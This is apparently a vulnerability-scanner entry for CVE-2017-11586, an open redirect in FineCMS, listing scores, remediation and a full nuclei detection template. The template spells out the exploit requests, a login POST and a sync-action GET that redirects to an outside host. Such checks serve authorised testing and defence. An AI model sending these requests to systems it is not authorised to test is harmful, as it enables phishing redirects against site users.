FineCMS <5.0.9 - Open Redirect

mediumseverity

6.1CVSS score

2.3%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

FineCMS 5.0.9 contains an open redirect vulnerability via the url parameter in a sync action. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.

Fix

Upgrade to FineCMS version 5.0.9 or later to fix the open redirect vulnerability.

How to confirm it

Send: POST /index.php?s=member&c=login&m=index ; GET /index.php?c=weixin&m=sync&url=http://interact.sh
Positive when: matches in header /Refresh:(.*)url=http:\/\/interact\.sh/

Run it with nuclei: nuclei -id CVE-2017-11586 -u <target>

The full check

id: CVE-2017-11586

info:
  name: FineCMS <5.0.9 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
    FineCMS 5.0.9 contains an open redirect vulnerability via the url parameter in a sync action. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Upgrade to FineCMS version 5.0.9 or later to fix the open redirect vulnerability.
  reference:
    - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11586
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-11586
    cwe-id: CWE-601
    epss-score: 0.02286
    epss-percentile: 0.83326
    cpe: cpe:2.3:a:finecms:finecms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: finecms
    product: finecms
  tags: cve,cve2017,redirect,finecms,vuln

http:
  - raw:
      - |
        POST /index.php?s=member&c=login&m=index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        back=&data%5Busername%5D={{username}}&data%5Bpassword%5D={{password}}&data%5Bauto%5D=1
      - |
        GET /index.php?c=weixin&m=sync&url=http://interact.sh HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: regex
        part: header
        regex:
          - 'Refresh:(.*)url=http:\/\/interact\.sh'

References

Use this check only on systems you are authorised to test. Where the data comes from